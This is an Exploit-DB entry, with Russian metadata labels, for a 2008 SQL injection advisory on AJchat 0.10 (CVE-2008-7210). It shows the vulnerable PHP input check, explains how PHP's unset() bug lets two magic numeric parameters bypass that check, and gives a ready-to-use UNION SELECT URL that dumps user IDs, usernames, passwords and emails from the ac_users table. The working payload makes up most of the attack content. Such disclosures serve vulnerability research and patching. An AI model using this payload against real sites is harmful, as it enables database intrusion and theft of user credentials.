Exploit AJchat 0.10 - 'unse' SQL Injection

[Exploiter]

EDB-ID

4890

Проверка EDB

1. Пройдено

Автор

EUGENE MINAEV

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-7210

Дата публикации

2008-01-11

----[ AJchat Remote Sql Injection using unset() bug ... ITDefence.ru Antichat.ru ]

							AJchat Remote Sql Injection using unset() bug
							Eugene Minaev [email protected] 
				___________________________________________________________________
			____/  __ __ _______________________ _______  _______________    \  \   \
			/ .\  /  /_// //              /        \       \/      __       \   /__/   /
			/ /     /_//              /\        /       /      /         /     /___/
			\/        /              / /       /       /\     /         /         /
			/        /               \/       /       / /    /         /__       //\
			\       /    ____________/       /        \/    __________// /__    // /   
			/\\      \_______/        \________________/____/  2007    /_//_/   // //\
			\ \\                                                               // // /
			.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
			. \_\\________[________________________________________]_________//_//_/ . .
			
		<?php
		if (isset($_GET["s"])){
		$_GET["s"] = strtoupper($_GET["s"]);
		if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
		// nothing
		}else unset($_GET['s']);
		} 
		?>
		
		As we can see , $_GET['s'] can include only A..Z characters , in other way script unset() it.
		
		calc.exe s
		5861526=1
		5863704=1
		
		directory.php?s='and 1 = 2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1

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# milw0rm.com [2008-01-11]